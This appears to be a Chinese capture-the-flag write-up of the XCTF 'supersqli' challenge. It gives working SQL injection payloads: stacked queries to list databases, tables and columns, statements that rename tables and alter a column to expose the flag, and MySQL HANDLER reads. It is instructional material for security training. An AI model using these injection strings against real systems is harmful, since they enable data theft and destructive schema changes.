XCTF supersqli
一.看题目应该是和sql注入有关
1.进入实验环境,发现是一个输入框,尝试判断一下是否存在sql注入, 输入 '
根据报错信息可以知道存在sql注入,然后常规的操作,判断查询的字段数目 ' order by 2 # ,页面显示正常
当 ' order by 3# 时,发现报错,由此判断查询的字段数为2.
通过union 联合查询看能不能捞到点有用的信息, ' union select version(),1 # ,根据结果的显示,后端应该把关键词都给过滤掉了
那我们试一试能不能堆叠注入 1' ;show databases; # 来查询全部的数据库
发现执行成功,再来查询所有的表名 , 1';show tables;#
根据返回的结果我们发现1919810931114514表很可疑。
为了证明我们的猜想,尝试去看看这个表的存在哪些字段
通过 1'; show columns from `1919810931114514` ;# 这里的表名为数字 ,我们要用反引号 即上面数字键盘1的左边一个
看到flag我们就肯定flag就在这个表里面,现在就是要查询出来。
这里只有两个表,我们输入1查询出来的结果应该来自words表里,我们又可以通过1' or 1=1#,
查出这个表中的所有信息,所以这里的思路就是通过把 1919810931114514 表名改为 words
然后就可以查询这个表的全部信息。
';rename tables words to words1;rename tables `1919810931114514` to words; alter table words change flag id varchar(100);#
在通过1' or 1=1#,得出flag。
这里可以采用handler来查询 , 通过 1'; handler `1919810931114514` open;handler `1919810931114514` read first;#
hander用法:
handler handler_table open; 打开句柄。
handler handler_table read first; 读取表中第一行数据。
handler handler_table read next; 读取表中下一条数据。
handler handler_table close; 关闭句柄。
了解handler更详细的用法可以看 https://blog.csdn.net/JesseYoung/article/details/40785137